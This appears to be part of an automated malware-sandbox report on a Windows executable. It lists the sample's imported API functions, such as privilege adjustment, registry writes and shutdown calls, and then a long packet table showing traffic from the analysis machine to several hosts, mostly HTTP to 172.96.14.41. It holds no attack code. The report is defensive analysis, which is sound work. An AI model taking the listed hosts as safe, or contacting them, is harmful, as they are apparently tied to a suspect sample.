USER32.dll	GetSystemMenu, SetClassLongW, IsWindowEnabled, EnableMenuItem, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, wsprintfW, ScreenToClient, GetWindowRect, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, LoadImageW, SetTimer, SetWindowTextW, PostQuitMessage, ShowWindow, GetDlgItem, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, DrawTextW, EndPaint, CreateDialogParamW, SendMessageTimeoutW, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegDeleteKeyW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegOpenKeyExW, RegEnumValueW, RegDeleteValueW, RegCloseKey, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2024 09:02:12.154478073 CET	49676	443	192.168.2.8	52.182.143.211
Jan 24, 2024 09:02:14.560916901 CET	49676	443	192.168.2.8	52.182.143.211
Jan 24, 2024 09:02:15.654470921 CET	49673	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:16.013854027 CET	49672	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:19.363161087 CET	49676	443	192.168.2.8	52.182.143.211
Jan 24, 2024 09:02:20.638875961 CET	49671	443	192.168.2.8	204.79.197.203
Jan 24, 2024 09:02:25.263833046 CET	49673	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:25.623229980 CET	49672	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:26.972520113 CET	443	49703	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:26.972620964 CET	49703	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:28.966969967 CET	49676	443	192.168.2.8	52.182.143.211
Jan 24, 2024 09:02:37.901494026 CET	49703	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:37.901561975 CET	49703	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:37.901868105 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:37.901921034 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:37.902045965 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:37.902307987 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:37.902326107 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.046581030 CET	443	49703	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.046608925 CET	443	49703	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.204869032 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.204937935 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:38.297651052 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:38.297676086 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.298579931 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.298742056 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:38.299385071 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:38.299443007 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.299698114 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:38.341902971 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.474270105 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.605386019 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.605671883 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.605853081 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.723602057 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.723773003 CET	443	49707	23.206.229.226	192.168.2.8
Jan 24, 2024 09:02:38.724060059 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:38.724060059 CET	49707	443	192.168.2.8	23.206.229.226
Jan 24, 2024 09:02:38.736567974 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.736705065 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.736745119 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.736785889 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.736831903 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.736831903 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.736831903 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.736831903 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.867701054 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.867765903 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.867805004 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.867822886 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.867822886 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.867844105 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.867858887 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.867882967 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.867918968 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.867923975 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.867960930 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.867964983 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.867964983 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.868000031 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.868040085 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.868040085 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999484062 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999511957 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999571085 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999613047 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999620914 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999620914 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999620914 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999654055 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999663115 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999677896 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999721050 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999759912 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999794960 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999799967 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999839067 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999845982 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999845982 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:38.999878883 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999917030 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999954939 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:38.999994993 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.000004053 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.000004053 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.000035048 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.000078917 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.000133038 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.000133038 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.000133038 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.000133038 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.131926060 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.131995916 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132009029 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132035017 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132042885 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132085085 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132117033 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132128954 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132136106 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132169008 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132195950 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132208109 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132210016 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132244110 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132255077 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132285118 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132327080 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132335901 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132343054 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132369041 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132370949 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132407904 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132417917 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132446051 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132457018 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132483959 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132500887 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132528067 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132533073 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132566929 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132574081 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132605076 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132612944 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132642031 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132651091 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132679939 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132687092 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132719994 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132725954 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132760048 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132770061 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132797956 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132808924 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132836103 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132874012 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132886887 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132913113 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132956982 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.132971048 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.132994890 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.133001089 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.133033037 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.133060932 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.133073092 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.133074045 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.133116961 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.133131027 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.133155107 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.133196115 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.133233070 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.133272886 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264233112 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264262915 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264277935 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264313936 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264333010 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264379978 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264391899 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264405966 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264416933 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264426947 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264430046 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264444113 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264460087 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264465094 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264465094 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264472961 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264484882 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264484882 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264497042 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264508963 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264512062 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264524937 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264528990 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264537096 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264552116 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264552116 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264566898 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264578104 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264579058 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264590025 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264599085 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264611006 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264622927 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264626026 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264626026 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264636040 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264642954 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264647961 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264658928 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264661074 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264674902 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264688015 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264698029 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264703035 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264715910 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264729977 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264748096 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264750004 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264750004 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264750004 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264760971 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264766932 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264775038 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264786005 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264786959 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264801979 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264816999 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264816999 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264830112 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264832020 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264842987 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264858961 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264866114 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264868975 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264868975 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264873028 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264898062 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264909983 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.264983892 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.264997005 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265008926 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265022993 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265033960 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265034914 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.265052080 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265064955 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265072107 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.265072107 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.265079975 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265091896 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.265094042 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265100956 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265105009 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.265108109 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265120029 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265126944 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265135050 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265142918 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265147924 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265155077 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265161037 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265166998 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265168905 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.265173912 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265186071 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265193939 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265201092 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.265222073 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.265234947 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.395216942 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395284891 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395286083 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.395328999 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.395730972 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395780087 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.395797014 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395809889 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395821095 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395832062 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395834923 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.395838976 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.395847082 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.395864964 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.395885944 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396066904 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396080017 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396090984 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396109104 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396116018 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396120071 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396121979 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396126986 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396130085 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396136999 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396148920 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396152020 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396159887 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396171093 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396173000 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396182060 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396184921 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396194935 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396208048 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396219015 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396224022 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396224022 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396229982 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396240950 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396254063 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396259069 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396265030 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396275997 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396285057 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396286964 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396296978 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396300077 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396310091 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396320105 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396322966 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396332026 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396333933 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396347046 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396353960 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396358967 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396369934 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396374941 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396383047 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396395922 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396400928 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396406889 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396420002 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396424055 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396431923 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396440983 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396442890 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396452904 CET	49708	80	192.168.2.8	172.96.14.41
